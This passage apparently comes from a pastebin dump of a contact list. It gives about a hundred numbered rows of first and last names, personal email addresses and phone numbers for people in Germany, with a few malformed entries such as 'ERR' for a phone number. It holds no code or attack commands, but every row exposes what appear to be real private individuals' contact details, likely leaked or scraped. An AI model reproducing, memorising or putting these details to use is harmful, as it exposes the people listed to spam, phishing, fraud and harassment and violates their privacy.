  546. Britt,Bremer,hauswartservice-bremer@t-online.de,Germany,(49160) 530-9072
  547. Romy,Olczyk,Olczyk.romy@web.de,Germany,(49175) 197-4039
  548. Beate,Brunner,be-brunner@t-online.de,Germany,(4920) 562-8537
  549. Max,Berman,mackyjones@gmail.com,Germany,(491577) 729-0261
  550. Timo,Vock,timo.vock@gmail.com,Germany,(49178) 187-5240
  551. Karl- Heinz ,Belter ,karl-heinz-belter@t-online.de,Germany,(49366) 340-3179
  552. Anton,Nagy,tonio13@web.de,Germany,(49696) 530-1656
  553. Halil,Hajredini,halilhajredini@hotmail.de,Germany,(491609) 484-4694
  554. Patrick,Koopman,koopmanp@yahoo.com,Germany,(491511) 083-2740
  555. Thomas,Hynek,thomashynek29@yahoo.de,Germany,(491520) 884-6071
  556. Alexej,Maljas,alexej-maljas@live.com,Germany,(491515) 403-0806
  557. Arne,Schrey,schrey75@gnx.net,Germany,(491515) 984-3823
  558. Gerhard,Will,Roy-Rogers@t-online.de,Germany,(499383) 903-8762
  559. Egbert,Post,carshipcorp@gmail.com,Germany,(491765) 336-9743
  560. Reinhard,Pfeiffer,r.peiffer@tele2.de,Germany,(49357) 197-5000
  561. Ulrich,Schirpenbach,uli.schirpenbach@gmx.de,Germany,(49174) 207-0676
  562. Erika,Werner,erika.werner3110@t-online.de,Germany,(49160) 356-4306
  563. Michael,Kainz,milchkuh67@gmail.com,Germany,(491577) 493-4720
  564. peter,h.,peter@byom.de,Germany,(491234) 525-6695
  565. Heiko,Kubik,heiko0311@hotmail.de,Germany,(491522) 721-3671
  566. Nandor,Cernus,nandorcernus@t-online.de,Germany,(492104) 138-5910
  567. Frank,Zimmermann,fzm2000@web.de,Germany,(49178) 936-6933
  568. Janett,Roek,nette81@hotmail.de,Germany,(491522) 293-1596
  569. Ingo,Pavka,ingo.pavka@gmx.de,Germany,(49175) 202-8592
  570. Peter,Sommer,Exensommer@web.de,Germany,(491522) 766-1195
  571. Uwe,Krause,u.krause05@gmail.com,Germany,(491522) 928-3388
  572. Goscha,Muller,Schmidt.johann1986@web.de,Germany,(49174) 608-2087
  573. Bilstein,Struppek,bilsteinstruppek@outlook.com,Germany,(491512) 576-6113
  574. Susanne,Stuckert,susi.stuckert47@gmail.com,Germany,(491763) 017-2977
  575. Christos,Kotrotsios,chriscross72@web.de,Germany,ERR
  576. Robert ,Kress ,robertkress@gmx.de,Germany,(49171) 380-8757
  577. Bilgehan ,Bekki ,bilgehan_bekki@live.de,Germany,(49176) 471-6508
  578. Heinrich,Ditel,hdjobber@gmail.com,Germany,(497232) 308-0820
  579. Andy,Waclawczyk,pulpduisburg@gmx.de,Germany,(49160) 857-3872
  580. Nico,Flanz,n.mueller5@web.de,Germany,(49385) 488-5955
  581. Hermann,Schonrock,Hermannsch@gmx.de,Germany,(492091) 497-0409
  582. Thoralf,Backer,thoralf.baecker@web.de,Germany,(491512) 017-0064
  583. INGRID,TEWES,at-networking@web.de,Germany,(496343) 617-9284
  584. Petra,Stockdteher,petrastockdreher75@gmail.com,Germany,(49162) 825-4957
  585. Thomas,Kosziolleck,Thonet36@googlemail.com,Germany,(49175) 443-7482
  586. Tuschkowski,Yvonne,y.tuschkowski@web.de,Germany,(49177) 667-7799
  587. Juan Carlos,Schmidt Yanes,laeolicasalvaravidas@web.de,Germany,(491577) 851-6554
  588. Kurt,Kahlke,kahlke.spo@gmail.com,Germany,(49170) 937-2893
  589. Gerhard,Trefzer,ib.trefzer@web.de,Germany,(49781) 919-3194
  590. Sven Martin,Schmidt,svenms1981@gmail.com,Germany,(491590) 130-7890
  591. David,Brooks,david.brooks.trade@gmail.com,Germany,(491525) 195-2497
  592. Peter,Heinrich,Pero-2002tii@gmx.de,Germany,(491762) 769-2081
  593. Kerstin,Galander,mokka-mich-eisbar@t-online.de,Germany,(491577) 572-5993
  594. katja,schwalbe,philweisse@gmx.de,Germany,(49174) 589-2454
  595. Wolfgang Glock,Glock,thg-glock@t-online.de,Germany,(49171) 427-3706
  596. Arno,Preis,arnopreis54@gmail.com,Germany,(49171) 141-1271
  597. Volker,Lobbes,lobbes@hotmail.de,Germany,(491525) 341-4643
  598. Andreas,Wittmann,ultimate_post@yahoo.com,Germany,(49173) 716-1323
  599. Karin ,Jung,karl-jung52@hotmail.com,Germany,(491573) 170-2027
  600. hanspeter,kiendl,1965fm@web.de,Germany,(4994) 314-2811
  601. Kevin,Kretschmann ,kevin-kretschmann@web.de,Germany,(491573) 437-2831
  602. Otar,maisuradze,ota-mais@yandex.ru,Germany,(491766) 331-0359
  603. Marko,Anicic,anicic83@gmail.com,Germany,(491522) 467-8865
  604. Steffen,Nitzschner,nitzschner-sf@gmx.de,Germany,(49163) 735-8914
  605. Ralf,Slembek,ralf.slembek@online.de,Germany,(49170) 828-2217
  606. Dieter,Lasshofer,dlasshofer@arcor.de,Germany,(493615) 188-3600
  607. Florian,Wacker,wacker83193@gmail.com,Germany,(491525) 398-6938
  608. Alexander,Schirdewahn ,alexanderschirde@gmail.com,Germany,(491767) 267-6394
  609. Ralph,Hensel,ralph.hensel@gmx.de,Germany,(49359) 127-0573
  610. Thomas,Link,linktkh@o2online.de,Germany,(498519) 885-9901
  611. Angelika Fischer,Fischer,af1962@t-online.de,Germany,(492335) 844-7222
  612. Juergen,Zschech,jzschech@gmx.de,Germany,(49172) 707-0749
  613. Wolfgang,Westphal,stausee@gmx.de,Germany,(491762) 159-8065
  614. Darko,Bilav,nikolinabilav@icloud.com,Germany,(49163) 574-7412
  615. christian,eichhorn,eichel240@gmail.com,Germany,(49171) 622-5785
  616. manfred,back,meinback@ish.de,Germany,(491764) 336-7909
  617. Ekkehard,Westphal,ekkehardwestphal@gmx.de,Germany,(49422) 294-7553
  618. mayelin,Acosta,a_mayelin23@yahoo.com,Germany,(491512) 255-8380
  619. Wil,Thoms,w.thoms@web.de,Germany,(491051) 140-2342
  620. Uwe Sinn,Sinn,u.sinn@gmx.de,Germany,(4971) 342-2807
  621. David,Wei,weissdvd@gmail.com,Germany,(491523) 693-3722
  622. Christian,Hartmann,chrisnew2022@gmail.com,Germany,(49174) 763-4541
  623. Benjamin ,Sorg,sorg.benny@gmail.com,Germany,(49175) 783-1988
  624. Otto,Engel,ottoengel1987@gmail.com,Germany,(49160) 283-7724
  625. Justin ,Neuhaus ,Jneuhaus92@gmail.com,Germany,(49177) 186-8247
  626. alexander,tews,vip.tews@list.ru,Germany,(491762) 151-3131
  627. Ludwig,Scholl,schoell-osi@t-online.de,Germany,(49917) 996-3802
  628. Evita,Leonhardt,evita.leonhardt@icloud.com,Germany,(49) 847-3950
  629. werner,friedrich,friedschnurzel@freenet.de,Germany,(49332) 075-0878
  630. Andreas,Rippin,andreasrippin@hotmail.com,Germany,(491575) 409-8266
  631. thomas,Hanf,hanfthomas42@gmail.com,Germany,(491525) 698-6179
  632. Herro,Herin,Herro@mail.de,Germany,(4930) 241-5889
  633. michael,Belz,belzmichi@gmail.com,Germany,(49170) 303-1627
  634. Peggy,Mundt,peggymundt74.p.m@gmail.com,Germany,(49162) 872-7235
  635. Jens ,Schwieger ,jens-schwieger@web.de,Germany,(49174) 174-9935
  636. Lets ,Sell ,letssell123@gmx.de,Germany,(491522) 939-8382
  637. Stefan,Fust,info@elektro-fust.fe,Germany,(49171) 720-8113
  638. Werner,Herold,werner.herold@vkkl.de,Germany,(49171) 622-5785
  639. Kevin,Engler,kevin-engler@gmx.de,Germany,(49162) 746-3275
  640. Otto,Heise,otto_heise@web.de,Germany,(491523) 369-0995
  641. qadeer,javed,nehanqadeer2@gmail.com,Germany,(491521) 712-8881
  642. Zueleha,Lekesiz,lekesiz672@gmail.com,Germany,(49173) 734-6040
  643. Johann,Gruber,johanngruber@mail.de,Germany,(491522) 276-2116
  644. Ahmed,Krouma,afr2003k@freenet.de,Germany,(49219) 146-2516
  645. Julitta,karnagel,julittakarnagel@aol.com,Germany,(4915200) 684-2554
  646. Kevin,Kubler,masterKevin1991@web.de,Germany,(491522) 357-6491
RAW Paste Data